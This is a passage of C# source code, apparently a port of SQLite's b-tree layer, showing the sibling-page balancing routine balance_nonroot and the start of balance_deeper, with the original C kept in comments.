((pTo.pgno == 1) ? 100 : 0);\n#if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG\n        int rc;//    TESTONLY(int rc;)\n#else\nint rc=0;\n#endif\n        int iData;\n\n\n        Debug.Assert(pFrom.isInit != 0);\n        Debug.Assert(pFrom.nFree >= iToHdr);\n        Debug.Assert(get2byte(aFrom, iFromHdr + 5) <= pBt.usableSize);\n\n        /* Copy the b-tree node content from page pFrom to page pTo. */\n        iData = get2byte(aFrom, iFromHdr + 5);\n        Buffer.BlockCopy(aFrom, iData, aTo, iData, pBt.usableSize - iData);//memcpy(aTo[iData], ref aFrom[iData], pBt.usableSize-iData);\n        Buffer.BlockCopy(aFrom, iFromHdr, aTo, iToHdr, pFrom.cellOffset + 2 * pFrom.nCell);//memcpy(aTo[iToHdr], ref aFrom[iFromHdr], pFrom.cellOffset + 2*pFrom.nCell);\n\n        /* Reinitialize page pTo so that the contents of the MemPage structure\n        ** match the new data. The initialization of pTo \"cannot\" fail, as the\n        ** data copied from pFrom is known to be valid.  */\n        pTo.isInit = 0;\n#if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG\n        rc = btreeInitPage(pTo);//TESTONLY(rc = ) btreeInitPage(pTo);\n#else\nbtreeInitPage(pTo);\n#endif\n        Debug.Assert(rc == SQLITE_OK);\n\n        /* If this is an auto-vacuum database, update the pointer-map entries\n        ** for any b-tree or overflow pages that pTo now contains the pointers to.\n        */\n#if !SQLITE_OMIT_AUTOVACUUM //   if ( ISAUTOVACUUM )\n        if (pBt.autoVacuum)\n#else\nif (false)\n#endif\n        {\n          pRC = setChildPtrmaps(pTo);\n        }\n      }\n    }\n\n    /*\n    ** This routine redistributes cells on the iParentIdx'th child of pParent\n    ** (hereafter \"the page\") and up to 2 siblings so that all pages have about the\n    ** same amount of free space. Usually a single sibling on either side of the\n    ** page are used in the balancing, though both siblings might come from one\n    ** side if the page is the first or last child of its parent. If the page\n    ** has fewer than 2 siblings (something which can only happen if the page\n    ** is a root page or a child of a root page) then all available siblings\n    ** participate in the balancing.\n    **\n    ** The number of siblings of the page might be increased or decreased by\n    ** one or two in an effort to keep pages nearly full but not over full.\n    **\n    ** Note that when this routine is called, some of the cells on the page\n    ** might not actually be stored in MemPage.aData[]. This can happen\n    ** if the page is overfull. This routine ensures that all cells allocated\n    ** to the page and its siblings fit into MemPage.aData[] before returning.\n    **\n    ** In the course of balancing the page and its siblings, cells may be\n    ** inserted into or removed from the parent page (pParent). Doing so\n    ** may cause the parent page to become overfull or underfull. If this\n    ** happens, it is the responsibility of the caller to invoke the correct\n    ** balancing routine to fix this problem (see the balance() routine).\n    **\n    ** If this routine fails for any reason, it might leave the database\n    ** in a corrupted state. So if this routine fails, the database should\n    ** be rolled back.\n    **\n    ** The third argument to this function, aOvflSpace, is a pointer to a\n    ** buffer big enough to hold one page. If while inserting cells into the parent\n    ** page (pParent) the parent page becomes overfull, this buffer is\n    ** used to store the parent's overflow cells. Because this function inserts\n    ** a maximum of four divider cells into the parent page, and the maximum\n    ** size of a cell stored within an internal node is always less than 1/4\n    ** of the page-size, the aOvflSpace[] buffer is guaranteed to be large\n    ** enough for all overflow cells.\n    **\n    ** If aOvflSpace is set to a null pointer, this function returns\n    ** SQLITE_NOMEM.\n    */\n    static int balance_nonroot(\n    MemPage pParent,               /* Parent page of siblings being balanced */\n    int iParentIdx,                /* Index of \"the page\" in pParent */\n    u8[] aOvflSpace,               /* page-size bytes of space for parent ovfl */\n    int isRoot                     /* True if pParent is a root-page */\n    )\n    {\n      BtShared pBt;                /* The whole database */\n      int nCell = 0;               /* Number of cells in apCell[] */\n      int nMaxCells = 0;           /* Allocated size of apCell, szCell, aFrom. */\n      int nNew = 0;                /* Number of pages in apNew[] */\n      int nOld;                    /* Number of pages in apOld[] */\n      int i, j, k;                 /* Loop counters */\n      int nxDiv;                   /* Next divider slot in pParent.aCell[] */\n      int rc = SQLITE_OK;          /* The return code */\n      u16 leafCorrection;          /* 4 if pPage is a leaf.  0 if not */\n      int leafData;                /* True if pPage is a leaf of a LEAFDATA tree */\n      int usableSpace;             /* Bytes in pPage beyond the header */\n      int pageFlags;               /* Value of pPage.aData[0] */\n      int subtotal;                /* Subtotal of bytes in cells on one page */\n      //int iSpace1 = 0;             /* First unused byte of aSpace1[] */\n      int iOvflSpace = 0;          /* First unused byte of aOvflSpace[] */\n      int szScratch;               /* Size of scratch memory requested */\n      MemPage[] apOld = new MemPage[NB];    /* pPage and up to two siblings */\n      MemPage[] apCopy = new MemPage[NB];   /* Private copies of apOld[] pages */\n      MemPage[] apNew = new MemPage[NB + 2];/* pPage and up to NB siblings after balancing */\n      int pRight;                  /* Location in parent of right-sibling pointer */\n      int[] apDiv = new int[NB - 1];        /* Divider cells in pParent */\n      int[] cntNew = new int[NB + 2];       /* Index in aCell[] of cell after i-th page */\n      int[] szNew = new int[NB + 2];        /* Combined size of cells place on i-th page */\n      u8[][] apCell = null;                 /* All cells begin balanced */\n      u16[] szCell;                         /* Local size of all cells in apCell[] */\n      //u8[] aSpace1;                         /* Space for copies of dividers cells */\n      Pgno pgno;                   /* Temp var to store a page number in */\n\n      pBt = pParent.pBt;\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage));\n\n#if FALSE\nTRACE(\"BALANCE: begin page %d child of %d\\n\", pPage.pgno, pParent.pgno);\n#endif\n\n      /* At this point pParent may have at most one overflow cell. And if\n** this overflow cell is present, it must be the cell with\n** index iParentIdx. This scenario comes about when this function\n** is called (indirectly) from sqlite3BtreeDelete().\n*/\n      Debug.Assert(pParent.nOverflow == 0 || pParent.nOverflow == 1);\n      Debug.Assert(pParent.nOverflow == 0 || pParent.aOvfl[0].idx == iParentIdx);\n\n      //if( !aOvflSpace ){\n      //  return SQLITE_NOMEM;\n      //}\n\n      /* Find the sibling pages to balance. Also locate the cells in pParent\n      ** that divide the siblings. An attempt is made to find NN siblings on\n      ** either side of pPage. More siblings are taken from one side, however,\n      ** if there are fewer than NN siblings on the other side. If pParent\n      ** has NB or fewer children then all children of pParent are taken.\n      **\n      ** This loop also drops the divider cells from the parent page. This\n      ** way, the remainder of the function does not have to deal with any\n      ** overflow cells in the parent page, since if any existed they will\n      ** have already been removed.\n      */\n      i = pParent.nOverflow + pParent.nCell;\n      if (i < 2)\n      {\n        nxDiv = 0;\n        nOld = i + 1;\n      }\n      else\n      {\n        nOld = 3;\n        if (iParentIdx == 0)\n        {\n          nxDiv = 0;\n        }\n        else if (iParentIdx == i)\n        {\n          nxDiv = i - 2;\n        }\n        else\n        {\n          nxDiv = iParentIdx - 1;\n        }\n        i = 2;\n      }\n      if ((i + nxDiv - pParent.nOverflow) == pParent.nCell)\n      {\n        pRight = pParent.hdrOffset + 8; //&pParent.aData[pParent.hdrOffset + 8];\n      }\n      else\n      {\n        pRight = findCell(pParent, i + nxDiv - pParent.nOverflow);\n      }\n      pgno = sqlite3Get4byte(pParent.aData, pRight);\n      while (true)\n      {\n        rc = getAndInitPage(pBt, pgno, ref apOld[i]);\n        if (rc != 0)\n        {\n          apOld = new MemPage[i + 1];//memset(apOld, 0, (i+1)*sizeof(MemPage*));\n          goto balance_cleanup;\n        }\n        nMaxCells += 1 + apOld[i].nCell + apOld[i].nOverflow;\n        if ((i--) == 0) break;\n\n        if (i + nxDiv == pParent.aOvfl[0].idx && pParent.nOverflow != 0)\n        {\n          apDiv[i] = 0;// = pParent.aOvfl[0].pCell;\n          pgno = sqlite3Get4byte(pParent.aOvfl[0].pCell, apDiv[i]);\n          szNew[i] = cellSizePtr(pParent, apDiv[i]);\n          pParent.nOverflow = 0;\n        }\n        else\n        {\n          apDiv[i] = findCell(pParent, i + nxDiv - pParent.nOverflow);\n          pgno = sqlite3Get4byte(pParent.aData, apDiv[i]);\n          szNew[i] = cellSizePtr(pParent, apDiv[i]);\n\n          /* Drop the cell from the parent page. apDiv[i] still points to\n          ** the cell within the parent, even though it has been dropped.\n          ** This is safe because dropping a cell only overwrites the first\n          ** four bytes of it, and this function does not need the first\n          ** four bytes of the divider cell. So the pointer is safe to use\n          ** later on.\n          **\n          ** Unless SQLite is compiled in secure-delete mode. In this case,\n          ** the dropCell() routine will overwrite the entire cell with zeroes.\n          ** In this case, temporarily copy the cell into the aOvflSpace[]\n          ** buffer. It will be copied out again as soon as the aSpace[] buffer\n          ** is allocated.  */\n#if SQLITE_SECURE_DELETE\nmemcpy(aOvflSpace[apDiv[i]-pParent.aData], apDiv[i], szNew[i]);\napDiv[i] = &aOvflSpace[apDiv[i]-pParent.aData];\n#endif\n          dropCell(pParent, i + nxDiv - pParent.nOverflow, szNew[i], ref rc);\n        }\n      }\n\n      /* Make nMaxCells a multiple of 4 in order to preserve 8-byte\n      ** alignment */\n      nMaxCells = (nMaxCells + 3) & ~3;\n\n      /*\n      ** Allocate space for memory structures\n      */\n      //k = pBt.pageSize + ROUND8(sizeof(MemPage));\n      //szScratch =\n      //     nMaxCells*sizeof(u8*)                       /* apCell */\n      //   + nMaxCells*sizeof(u16)                       /* szCell */\n      //   + pBt.pageSize                               /* aSpace1 */\n      //   + k*nOld;                                     /* Page copies (apCopy) */\n      apCell = new byte[nMaxCells][];//apCell = sqlite3ScratchMalloc( szScratch );\n      //if( apCell==null ){\n      //  rc = SQLITE_NOMEM;\n      //  goto balance_cleanup;\n      //}\n      szCell = new u16[nMaxCells];//(u16*)&apCell[nMaxCells];\n      //aSpace1 = new byte[pBt.pageSize * (nMaxCells)];//  aSpace1 = (u8*)&szCell[nMaxCells];\n      //Debug.Assert( EIGHT_BYTE_ALIGNMENT(aSpace1) );\n\n      /*\n      ** Load pointers to all cells on sibling pages and the divider cells\n      ** into the local apCell[] array.  Make copies of the divider cells\n      ** into space obtained from aSpace1[] and remove the the divider Cells\n      ** from pParent.\n      **\n      ** If the siblings are on leaf pages, then the child pointers of the\n      ** divider cells are stripped from the cells before they are copied\n      ** into aSpace1[].  In this way, all cells in apCell[] are without\n      ** child pointers.  If siblings are not leaves, then all cell in\n      ** apCell[] include child pointers.  Either way, all cells in apCell[]\n      ** are alike.\n      **\n      ** leafCorrection:  4 if pPage is a leaf.  0 if pPage is not a leaf.\n      **       leafData:  1 if pPage holds key+data and pParent holds only keys.\n      */\n      leafCorrection = (u16)(apOld[0].leaf * 4);\n      leafData = apOld[0].hasData;\n      for (i = 0; i < nOld; i++)\n      {\n        int limit;\n\n        /* Before doing anything else, take a copy of the i'th original sibling\n        ** The rest of this function will use data from the copies rather\n        ** that the original pages since the original pages will be in the\n        ** process of being overwritten.  */\n        //MemPage pOld = apCopy[i] = (MemPage*)&aSpace1[pBt.pageSize + k*i];\n        //memcpy(pOld, apOld[i], sizeof(MemPage));\n        //pOld.aData = (void*)&pOld[1];\n        //memcpy(pOld.aData, apOld[i].aData, pBt.pageSize);\n        MemPage pOld = apCopy[i] = apOld[i].Copy();\n\n        limit = pOld.nCell + pOld.nOverflow;\n        for (j = 0; j < limit; j++)\n        {\n          Debug.Assert(nCell < nMaxCells);\n          //apCell[nCell] = findOverflowCell( pOld, j );\n          //szCell[nCell] = cellSizePtr( pOld, apCell, nCell );\n          int iFOFC = findOverflowCell(pOld, j);\n          szCell[nCell] = cellSizePtr(pOld, iFOFC);\n          // Copy the Data Locally\n          apCell[nCell] = new u8[szCell[nCell]];\n          if (iFOFC < 0)  // Overflow Cell\n            Buffer.BlockCopy(pOld.aOvfl[-(iFOFC + 1)].pCell, 0, apCell[nCell], 0, szCell[nCell]);\n          else\n            Buffer.BlockCopy(pOld.aData, iFOFC, apCell[nCell], 0, szCell[nCell]);\n          nCell++;\n        }\n        if (i < nOld - 1 && 0 == leafData)\n        {\n          u16 sz = (u16)szNew[i];\n          byte[] pTemp = new byte[sz + leafCorrection];\n          Debug.Assert(nCell < nMaxCells);\n          szCell[nCell] = sz;\n          //pTemp = &aSpace1[iSpace1];\n          //iSpace1 += sz;\n          Debug.Assert(sz <= pBt.pageSize / 4);\n          //Debug.Assert(iSpace1 <= pBt.pageSize);\n          Buffer.BlockCopy(pParent.aData, apDiv[i], pTemp, 0, sz);//memcpy( pTemp, apDiv[i], sz );\n          apCell[nCell] = new byte[sz];\n          Buffer.BlockCopy(pTemp, leafCorrection, apCell[nCell], 0, sz);//apCell[nCell] = pTemp + leafCorrection;\n          Debug.Assert(leafCorrection == 0 || leafCorrection == 4);\n          szCell[nCell] = (u16)(szCell[nCell] - leafCorrection);\n          if (0 == pOld.leaf)\n          {\n            Debug.Assert(leafCorrection == 0);\n            Debug.Assert(pOld.hdrOffset == 0);\n            /* The right pointer of the child page pOld becomes the left\n            ** pointer of the divider cell */\n            Buffer.BlockCopy(pOld.aData, 8, apCell[nCell], 0, 4);//memcpy( apCell[nCell], ref pOld.aData[8], 4 );\n          }\n          else\n          {\n            Debug.Assert(leafCorrection == 4);\n            if (szCell[nCell] < 4)\n            {\n              /* Do not allow any cells smaller than 4 bytes. */\n              szCell[nCell] = 4;\n            }\n          }\n          nCell++;\n        }\n      }\n\n      /*\n      ** Figure out the number of pages needed to hold all nCell cells.\n      ** Store this number in \"k\".  Also compute szNew[] which is the total\n      ** size of all cells on the i-th page and cntNew[] which is the index\n      ** in apCell[] of the cell that divides page i from page i+1.\n      ** cntNew[k] should equal nCell.\n      **\n      ** Values computed by this block:\n      **\n      **           k: The total number of sibling pages\n      **    szNew[i]: Spaced used on the i-th sibling page.\n      **   cntNew[i]: Index in apCell[] and szCell[] for the first cell to\n      **              the right of the i-th sibling page.\n      ** usableSpace: Number of bytes of space available on each sibling.\n      **\n      */\n      usableSpace = pBt.usableSize - 12 + leafCorrection;\n      for (subtotal = k = i = 0; i < nCell; i++)\n      {\n        Debug.Assert(i < nMaxCells);\n        subtotal += szCell[i] + 2;\n        if (subtotal > usableSpace)\n        {\n          szNew[k] = subtotal - szCell[i];\n          cntNew[k] = i;\n          if (leafData != 0) { i--; }\n          subtotal = 0;\n          k++;\n          if (k > NB + 1) { rc = SQLITE_CORRUPT; goto balance_cleanup; }\n        }\n      }\n      szNew[k] = subtotal;\n      cntNew[k] = nCell;\n      k++;\n\n      /*\n      ** The packing computed by the previous block is biased toward the siblings\n      ** on the left side.  The left siblings are always nearly full, while the\n      ** right-most sibling might be nearly empty.  This block of code attempts\n      ** to adjust the packing of siblings to get a better balance.\n      **\n      ** This adjustment is more than an optimization.  The packing above might\n      ** be so out of balance as to be illegal.  For example, the right-most\n      ** sibling might be completely empty.  This adjustment is not optional.\n      */\n      for (i = k - 1; i > 0; i--)\n      {\n        int szRight = szNew[i];  /* Size of sibling on the right */\n        int szLeft = szNew[i - 1]; /* Size of sibling on the left */\n        int r;              /* Index of right-most cell in left sibling */\n        int d;              /* Index of first cell to the left of right sibling */\n\n        r = cntNew[i - 1] - 1;\n        d = r + 1 - leafData;\n        Debug.Assert(d < nMaxCells);\n        Debug.Assert(r < nMaxCells);\n        while (szRight == 0 || szRight + szCell[d] + 2 <= szLeft - (szCell[r] + 2))\n        {\n          szRight += szCell[d] + 2;\n          szLeft -= szCell[r] + 2;\n          cntNew[i - 1]--;\n          r = cntNew[i - 1] - 1;\n          d = r + 1 - leafData;\n        }\n        szNew[i] = szRight;\n        szNew[i - 1] = szLeft;\n      }\n\n      /* Either we found one or more cells (cntnew[0])>0) or pPage is\n      ** a virtual root page.  A virtual root page is when the real root\n      ** page is page 1 and we are the only child of that page.\n      */\n      Debug.Assert(cntNew[0] > 0 || (pParent.pgno == 1 && pParent.nCell == 0));\n\n      TRACE(\"BALANCE: old: %d %d %d  \",\n      apOld[0].pgno,\n      nOld >= 2 ? apOld[1].pgno : 0,\n      nOld >= 3 ? apOld[2].pgno : 0\n      );\n\n      /*\n      ** Allocate k new pages.  Reuse old pages where possible.\n      */\n      if (apOld[0].pgno <= 1)\n      {\n        rc = SQLITE_CORRUPT;\n        goto balance_cleanup;\n      }\n      pageFlags = apOld[0].aData[0];\n      for (i = 0; i < k; i++)\n      {\n        MemPage pNew = new MemPage();\n        if (i < nOld)\n        {\n          pNew = apNew[i] = apOld[i];\n          apOld[i] = null;\n          rc = sqlite3PagerWrite(pNew.pDbPage);\n          nNew++;\n          if (rc != 0) goto balance_cleanup;\n        }\n        else\n        {\n          Debug.Assert(i > 0);\n          rc = allocateBtreePage(pBt, ref pNew, ref pgno, pgno, 0);\n          if (rc != 0) goto balance_cleanup;\n          apNew[i] = pNew;\n          nNew++;\n\n          /* Set the pointer-map entry for the new sibling page. */\n#if !SQLITE_OMIT_AUTOVACUUM //   if ( ISAUTOVACUUM )\n          if (pBt.autoVacuum)\n#else\nif (false)\n#endif\n          {\n            ptrmapPut(pBt, pNew.pgno, PTRMAP_BTREE, pParent.pgno, ref rc);\n            if (rc != SQLITE_OK)\n            {\n              goto balance_cleanup;\n            }\n          }\n        }\n      }\n\n      /* Free any old pages that were not reused as new pages.\n      */\n      while (i < nOld)\n      {\n        freePage(apOld[i], ref rc);\n        if (rc != 0) goto balance_cleanup;\n        releasePage(apOld[i]);\n        apOld[i] = null;\n        i++;\n      }\n\n      /*\n      ** Put the new pages in accending order.  This helps to\n      ** keep entries in the disk file in order so that a scan\n      ** of the table is a linear scan through the file.  That\n      ** in turn helps the operating system to deliver pages\n      ** from the disk more rapidly.\n      **\n      ** An O(n^2) insertion sort algorithm is used, but since\n      ** n is never more than NB (a small constant), that should\n      ** not be a problem.\n      **\n      ** When NB==3, this one optimization makes the database\n      ** about 25% faster for large insertions and deletions.\n      */\n      for (i = 0; i < k - 1; i++)\n      {\n        int minV = (int)apNew[i].pgno;\n        int minI = i;\n        for (j = i + 1; j < k; j++)\n        {\n          if (apNew[j].pgno < (u32)minV)\n          {\n            minI = j;\n            minV = (int)apNew[j].pgno;\n          }\n        }\n        if (minI > i)\n        {\n          int t;\n          MemPage pT;\n          t = (int)apNew[i].pgno;\n          pT = apNew[i];\n          apNew[i] = apNew[minI];\n          apNew[minI] = pT;\n        }\n      }\n      TRACE(\"new: %d(%d) %d(%d) %d(%d) %d(%d) %d(%d)\\n\",\n      apNew[0].pgno, szNew[0],\n      nNew >= 2 ? apNew[1].pgno : 0, nNew >= 2 ? szNew[1] : 0,\n      nNew >= 3 ? apNew[2].pgno : 0, nNew >= 3 ? szNew[2] : 0,\n      nNew >= 4 ? apNew[3].pgno : 0, nNew >= 4 ? szNew[3] : 0,\n      nNew >= 5 ? apNew[4].pgno : 0, nNew >= 5 ? szNew[4] : 0);\n\n      Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage));\n      sqlite3Put4byte(pParent.aData, pRight, apNew[nNew - 1].pgno);\n\n      /*\n      ** Evenly distribute the data in apCell[] across the new pages.\n      ** Insert divider cells into pParent as necessary.\n      */\n      j = 0;\n      for (i = 0; i < nNew; i++)\n      {\n        /* Assemble the new sibling page. */\n        MemPage pNew = apNew[i];\n        Debug.Assert(j < nMaxCells);\n        zeroPage(pNew, pageFlags);\n        assemblePage(pNew, cntNew[i] - j, apCell, szCell, j);\n        Debug.Assert(pNew.nCell > 0 || (nNew == 1 && cntNew[0] == 0));\n        Debug.Assert(pNew.nOverflow == 0);\n\n        j = cntNew[i];\n\n        /* If the sibling page assembled above was not the right-most sibling,\n        ** insert a divider cell into the parent page.\n        */\n        Debug.Assert(i < nNew - 1 || j == nCell);\n        if (j < nCell)\n        {\n          u8[] pCell;\n          u8[] pTemp;\n          int sz;\n\n          Debug.Assert(j < nMaxCells);\n          pCell = apCell[j];\n          sz = szCell[j] + leafCorrection;\n          pTemp = new byte[sz];//&aOvflSpace[iOvflSpace];\n          if (0 == pNew.leaf)\n          {\n            Buffer.BlockCopy(pCell, 0, pNew.aData, 8, 4);//memcpy( pNew.aData[8], pCell, 4 );\n          }\n          else if (leafData != 0)\n          {\n            /* If the tree is a leaf-data tree, and the siblings are leaves,\n            ** then there is no divider cell in apCell[]. Instead, the divider\n            ** cell consists of the integer key for the right-most cell of\n            ** the sibling-page assembled above only.\n            */\n            CellInfo info = new CellInfo();\n            j--;\n            btreeParseCellPtr( pNew, apCell[j], ref info );\n            pCell = pTemp;\n            sz = 4 + putVarint( pCell, 4, (u64)info.nKey );\n            pTemp = null;\n          }\n          else\n          {\n            //------------ pCell -= 4;\n            byte[] _pCell_4 = new byte[pCell.Length + 4];\n            Buffer.BlockCopy(pCell, 0, _pCell_4, 4, pCell.Length);\n            pCell = _pCell_4;\n            //\n            /* Obscure case for non-leaf-data trees: If the cell at pCell was\n            ** previously stored on a leaf node, and its reported size was 4\n            ** bytes, then it may actually be smaller than this\n            ** (see btreeParseCellPtr(), 4 bytes is the minimum size of\n            ** any cell). But it is important to pass the correct size to\n            ** insertCell(), so reparse the cell now.\n            **\n            ** Note that this can never happen in an SQLite data file, as all\n            ** cells are at least 4 bytes. It only happens in b-trees used\n            ** to evaluate \"IN (SELECT ...)\" and similar clauses.\n            */\n            if (szCell[j] == 4)\n            {\n              Debug.Assert(leafCorrection == 4);\n              sz = cellSizePtr(pParent, pCell);\n            }\n          }\n          iOvflSpace += sz;\n          Debug.Assert(sz <= pBt.pageSize / 4);\n          Debug.Assert(iOvflSpace <= pBt.pageSize);\n          insertCell(pParent, nxDiv, pCell, sz, pTemp, pNew.pgno, ref rc);\n          if (rc != SQLITE_OK) goto balance_cleanup;\n          Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage));\n\n          j++;\n          nxDiv++;\n        }\n      }\n      Debug.Assert(j == nCell);\n      Debug.Assert(nOld > 0);\n      Debug.Assert(nNew > 0);\n      if ((pageFlags & PTF_LEAF) == 0)\n      {\n        Buffer.BlockCopy(apCopy[nOld - 1].aData, 8, apNew[nNew - 1].aData, 8, 4); //u8* zChild = &apCopy[nOld - 1].aData[8];\n        //memcpy( apNew[nNew - 1].aData[8], zChild, 4 );\n      }\n\n      if (isRoot != 0 && pParent.nCell == 0 && pParent.hdrOffset <= apNew[0].nFree)\n      {\n        /* The root page of the b-tree now contains no cells. The only sibling\n        ** page is the right-child of the parent. Copy the contents of the\n        ** child page into the parent, decreasing the overall height of the\n        ** b-tree structure by one. This is described as the \"balance-shallower\"\n        ** sub-algorithm in some documentation.\n        **\n        ** If this is an auto-vacuum database, the call to copyNodeContent()\n        ** sets all pointer-map entries corresponding to database image pages\n        ** for which the pointer is stored within the content being copied.\n        **\n        ** The second Debug.Assert below verifies that the child page is defragmented\n        ** (it must be, as it was just reconstructed using assemblePage()). This\n        ** is important if the parent page happens to be page 1 of the database\n        ** image.  */\n        Debug.Assert(nNew == 1);\n        Debug.Assert(apNew[0].nFree ==\n        (get2byte(apNew[0].aData, 5) - apNew[0].cellOffset - apNew[0].nCell * 2)\n        );\n        copyNodeContent(apNew[0], pParent, ref rc);\n        freePage(apNew[0], ref rc);\n      }\n      else\n#if !SQLITE_OMIT_AUTOVACUUM //   if ( ISAUTOVACUUM )\n        if (pBt.autoVacuum)\n#else\nif (false)\n#endif\n        {\n          /* Fix the pointer-map entries for all the cells that were shifted around.\n          ** There are several different types of pointer-map entries that need to\n          ** be dealt with by this routine. Some of these have been set already, but\n          ** many have not. The following is a summary:\n          **\n          **   1) The entries associated with new sibling pages that were not\n          **      siblings when this function was called. These have already\n          **      been set. We don't need to worry about old siblings that were\n          **      moved to the free-list - the freePage() code has taken care\n          **      of those.\n          **\n          **   2) The pointer-map entries associated with the first overflow\n          **      page in any overflow chains used by new divider cells. These\n          **      have also already been taken care of by the insertCell() code.\n          **\n          **   3) If the sibling pages are not leaves, then the child pages of\n          **      cells stored on the sibling pages may need to be updated.\n          **\n          **   4) If the sibling pages are not internal intkey nodes, then any\n          **      overflow pages used by these cells may need to be updated\n          **      (internal intkey nodes never contain pointers to overflow pages).\n          **\n          **   5) If the sibling pages are not leaves, then the pointer-map\n          **      entries for the right-child pages of each sibling may need\n          **      to be updated.\n          **\n          ** Cases 1 and 2 are dealt with above by other code. The next\n          ** block deals with cases 3 and 4 and the one after that, case 5. Since\n          ** setting a pointer map entry is a relatively expensive operation, this\n          ** code only sets pointer map entries for child or overflow pages that have\n          ** actually moved between pages.  */\n          MemPage pNew = apNew[0];\n          MemPage pOld = apCopy[0];\n          int nOverflow = pOld.nOverflow;\n          int iNextOld = pOld.nCell + nOverflow;\n          int iOverflow = (nOverflow != 0 ? pOld.aOvfl[0].idx : -1);\n          j = 0;                             /* Current 'old' sibling page */\n          k = 0;                             /* Current 'new' sibling page */\n          for (i = 0; i < nCell; i++)\n          {\n            int isDivider = 0;\n            while (i == iNextOld)\n            {\n              /* Cell i is the cell immediately following the last cell on old\n              ** sibling page j. If the siblings are not leaf pages of an\n              ** intkey b-tree, then cell i was a divider cell. */\n              pOld = apCopy[++j];\n              iNextOld = i + (0 == leafData ? 1 : 0) + pOld.nCell + pOld.nOverflow;\n              if (pOld.nOverflow != 0)\n              {\n                nOverflow = pOld.nOverflow;\n                iOverflow = i + (0 == leafData ? 1 : 0 )+ pOld.aOvfl[0].idx;\n              }\n              isDivider = 0 == leafData ? 1 : 0;\n            }\n\n            Debug.Assert(nOverflow > 0 || iOverflow < i);\n            Debug.Assert(nOverflow < 2 || pOld.aOvfl[0].idx == pOld.aOvfl[1].idx - 1);\n            Debug.Assert(nOverflow < 3 || pOld.aOvfl[1].idx == pOld.aOvfl[2].idx - 1);\n            if (i == iOverflow)\n            {\n              isDivider = 1;\n              if ((--nOverflow) > 0)\n              {\n                iOverflow++;\n              }\n            }\n\n            if (i == cntNew[k])\n            {\n              /* Cell i is the cell immediately following the last cell on new\n              ** sibling page k. If the siblings are not leaf pages of an\n              ** intkey b-tree, then cell i is a divider cell.  */\n              pNew = apNew[++k];\n              if (0 == leafData) continue;\n            }\n            Debug.Assert(j < nOld);\n            Debug.Assert(k < nNew);\n\n            /* If the cell was originally divider cell (and is not now) or\n            ** an overflow cell, or if the cell was located on a different sibling\n            ** page before the balancing, then the pointer map entries associated\n            ** with any child or overflow pages need to be updated.  */\n            if (isDivider != 0 || pOld.pgno != pNew.pgno)\n            {\n              if (0 == leafCorrection)\n              {\n                ptrmapPut(pBt, sqlite3Get4byte(apCell[i]), PTRMAP_BTREE, pNew.pgno, ref rc);\n              }\n              if (szCell[i] > pNew.minLocal)\n              {\n                ptrmapPutOvflPtr(pNew, apCell[i], ref rc);\n              }\n            }\n          }\n\n          if (0 == leafCorrection)\n          {\n            for (i = 0; i < nNew; i++)\n            {\n              u32 key = sqlite3Get4byte(apNew[i].aData, 8);\n              ptrmapPut(pBt, key, PTRMAP_BTREE, apNew[i].pgno, ref rc);\n            }\n          }\n\n#if FALSE\n/* The ptrmapCheckPages() contains Debug.Assert() statements that verify that\n** all pointer map pages are set correctly. This is helpful while\n** debugging. This is usually disabled because a corrupt database may\n** cause an Debug.Assert() statement to fail.  */\nptrmapCheckPages(apNew, nNew);\nptrmapCheckPages(pParent, 1);\n#endif\n        }\n\n      Debug.Assert(pParent.isInit != 0);\n      TRACE(\"BALANCE: finished: old=%d new=%d cells=%d\\n\",\n      nOld, nNew, nCell);\n\n    /*\n    ** Cleanup before returning.\n    */\n    balance_cleanup:\n      //sqlite3ScratchFree( ref apCell );\n      for (i = 0; i < nOld; i++)\n      {\n        releasePage(apOld[i]);\n      }\n      for (i = 0; i < nNew; i++)\n      {\n        releasePage(apNew[i]);\n      }\n\n      return rc;\n    }\n\n\n    /*\n    ** This function is called when the root page of a b-tree structure is\n    ** overfull (has one or more overflow pages).\n    **\n    ** A new child page is allocated and the contents of the current root\n    ** page, including overflow cells, are copied into the child. The root\n    ** page is then overwritten to make it an empty page with the right-child\n    ** pointer pointing to the new page.\n    **\n    ** Before returning, all pointer-map entries corresponding to pages\n    ** that the new child-page now contains pointers to are updated. The\n    ** entry corresponding to the new right-child pointer of the root\n    ** page is also updated.\n    **\n    ** If successful, ppChild is set to contain a reference to the child\n    ** page and SQLITE_OK is returned. In this case the caller is required\n    ** to call releasePage() on ppChild exactly once. If an error occurs,\n    ** an error code is returned and ppChild is set to 0.\n    */\n    static int balance_deeper(MemPage pRoot, ref MemPage ppChild)\n    {\n      int rc;                        /* Return value from subprocedures */\n      MemPage pChild = null;           /* Pointer to a new child page */\n      Pgno pgnoChild = 0;            /* Page number of the new child page */\n      BtShared pBt = pRoot.pBt;    /* The BTree */\n\n      Debug.Assert(pRoot.nOverflow > 0);\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n\n      /* Make pRoot, the root page of the b-tree, writable. Allocate a new\n      ** page that will become the new right-child of pPage. Copy the contents\n      ** of the node stored on pRoot into the new child page.\n      */\n      rc = sqlite3PagerWrite(pRoot.pDbPage);\n      if (rc == SQLITE_OK)\n      {\n        rc = allocateBtreePage(pBt, ref pChild, ref pgnoChild, pRoot.pgno, 0);\n        copyNodeContent(pRoot, pChild, ref rc);\n#if !SQLITE_OMIT_AUTOVACUUM //   if ( ISAUTOVACUUM )\n        if (pBt.autoVacuum)\n#else\nif (false)\n#endif\n        {\n          ptrmapPut(pBt, pgnoChild, PTRMAP_BTREE, pRoot.pgno, ref rc);\n        }\n      }\n      if (rc != 0)\n      {\n        ppChild = null;\n        releasePage(pChild);\n        return rc;\n      }\n      Debug.Assert(sqlite3PagerIswriteable(pChild.pDbPage));\n      Debug.Assert(sqlite3PagerIswriteable(pRoot.pDbPage));\n      Debug.Assert(pChild.nCell == pRoot.nCell);\n\n      TRACE(\"BALANCE: copy root %d into %d\\n\", pRoot.pgno, pChild.pgno);\n\n      /* Copy the overflow cells from pRoot to pChild */\n      Array.Copy(pRoot.aOvfl, pChild.aOvfl, pRoot.nOverflow);//memcpy(pChild.aOvfl, pRoot.aOvfl, pRoot.nOverflow*sizeof(pRoot.aOvfl[0]));\n      pChild.nOverflow = pRoot.nOverflow;\n\n      /* Zero the contents of pRoot. 